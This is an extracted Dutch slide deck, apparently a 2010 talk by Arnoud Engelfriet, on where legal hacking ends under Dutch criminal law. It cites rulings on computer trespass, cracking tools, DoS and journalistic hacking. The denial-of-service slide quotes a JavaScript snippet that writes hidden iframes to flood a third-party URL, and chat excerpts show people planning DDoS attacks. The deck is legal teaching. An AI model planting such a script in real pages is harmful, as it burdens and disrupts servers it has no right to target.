Legaal hacken: waar ligt de grens?

Computervredebreuk (art. 138a Strafrecht)Opzettelijk en wederrechtelijk binnendringenin een geautomatiseerd werk

Doorbreken van een beveiligingif ((options ==(__WCLONE|__WALL)) &&(current->uid = 0)) retval = -EINVAL;

Gebruik van valse signalen of een valse sleutel

Aannemen van eenvalse hoedanigheid

Computervredebreuk (art. 138a Strafrecht) Maar OOK als hetsysteem onbeveiligd is!

Computervredebreuk (art. 138a Strafrecht)Citaat van de minister (2006):“Wel moet het voor de potentiële dader kenbaar zijn dat hij zich op verboden terrein bevindt.” Wetsvoorstel Computercriminaliteit II, Memorie van Toelichting (TK 26671 nr. 3)

Rb. Den Haag 2 april 2010,LJN: BM1481

Cracking tools (art. 139d Strafrecht) Technisch hulpmiddel dat hoofdzakelijk geschikt of ontworpen is omcomputervredebreuk mee te plegen

Hoge Raad 29-03-2005, LJN: AS4663

“Voorzover de voorzieningenrechter kan nagaan bevatten de twee ‘Attacks’ een in hoge mate theoretisch wiskundige beschrijving, maar bevat het artikel in ieder geval zeker niet een praktische handleiding voor het kraken en klonen van de chip.” Rechtbank Arnhem 18-07-2008, LJN: BD7578

Denial of service (art. 138b Strafrecht) Opzettelijk en wederrechtelijktoegang tot computer of netwerk belemmeren door toezenden van gegevens

for(var i =0; i<1; i++) { ip = new Array(); for(var j=0; j<4; j++){ ip.push(Math.round(Math.random()*255)); } ip = ip.join(.); document.write(<iframesrc="http://bluf2008.geencommentaar.nl/isGeenStijl.php?ip=+ip+" width="1" height="1"style="position: absolute; top:-50px;"></iframe>);}

Beschadigen van systemen (art. 161sexies Strafrecht) Opzettelijk en wederrechtelijk computersysteem of netwerk vernielen, beschadigen of onbruikbaar maken

Beschadigen van systemen (art. 161sexies Strafrecht) Strafverhoging als daarbijgemeen gevaar voor goederen of diensten optreedt(en nog meer bij levensgevaar)

Rechtbank Rotterdam 14-4-2010,LJN: BM1172

“De providers Argeweb en Leaseweb faciliteren het internetverkeer van ruim 50.000 klanten. De infrastructuur van deze providers kan derhalve worden gezien als een vitale infrastructuur.” Rechtbank Rotterdam 14-4-2010, LJN: BM1172

<0x1fe> was je nog van plan overheid.nl te ddossen?...<0x1fe> waarom doen wij dat niet nu? Rechtbank s-Gravenhage 14-3-2005 LJN: AT0222

<0x1fe> kan iedereen ff geenstijl.nl pakken (…) aub? Rechtbank s-Gravenhage 14-3-2005 LJN: AT0222

“Journalists cannot, in principle, be released from their duty to obey the ordinary criminal law on the basis that Article 10 affords them protection”“It falls to be decided whether, in the particular circumstances of the case, the interest in the publics being informed outweighed the duties and responsibilities the journalists had as a result of the suspect origin of the documents that were sent to them.” EHRM 21 januari 1999, NJ 1999, 713

HR 27 juni 1995, NJ 1995, 711

“Nu het aan de verdachte ten laste gelegde het doel van zijn onderzoek (publiekelijk bewijs te vergaren voor zijn stellingen) voorbij is geschoten en hem andere, minder verstrekkende methodes ten dienste stonden...” Hoge Raad 5-12-2006 LJN AY8343

Rechtbank s-Gravenhage 23-11-2009,LJN: BK4065

Rechtbank Amsterdam 20-04-2005,LJN: AT4199

“Openbaarmaking dient geen publiek belang: zij levert geen enkele bijdrage aan het publieke debat over een maatschappelijk relevante kwestie en heeft geen ander doel dan de bevrediging van de nieuwsgierigheid van een sensatiebelust publiek.” Rechtbank Amsterdam 20-04-2005, LJN: AT4199

http://www.e-beat.nl/examen.php?id=174&cijfer=7.5

“Om te beginnen is voldoende aannemelijk dat in dit geval sprake is van een goedbedoelde en onschuldige actie van de werknemer van Handyman, juist gericht op het behartigen van het belang van The BEAT Factory, die dit zeer wel zó kon begrijpen en er zó ook profijt van had kunnen hebben.” Rechtbank Breda, 6 januari 2009, LJN: BG9038

“Het Hof overweegt dat het algemeen belang op toegang tot informatie over ongepaste druk en misstanden in het Openbaar Ministerie zó belangrijk is in een democratische rechtsstaat dat het zwaarder weegt dan het belang om het vertrouwen in datzelfde Openbaar Ministerie te beschermen.” EHRM 12 februari 2008, Guja vs Moldavië, zaaknr. 14277/04.

A.Engelfriet@ICTRecht.nl @ICTRecht“Een eerlijke balans die moet wordengetroffen tussen het algemeenbelang van de gemeenschap en debelangen van het individu.” EHRM 6 mei 2003, Appleby vs. UK zaaknr. 44306/98

http://www.iusmentis.com	2348
http://blog.iusmentis.com	1348
http://retecool.com	457
http://safeoninternet.wikispaces.com	98
http://static.slidesharecdn.com	8
http://iusmentis.com	7
http://www.xdif.nl	4
http://twitter.com	3
http://webcache.googleusercontent.com	2
http://feeds2.feedburner.com	1
http://127.0.0.1:8795	1
http://www.netvibes.com	1

Legaal hacken: waar ligt de grens?

by Arnoud Engelfriet on Dec 19, 2010

Accessibility

Categories

Tags

Upload Details

Usage Rights

12 Embeds 4,278

Statistics

Legaal hacken: waar ligt de grens? — Webinar Transcript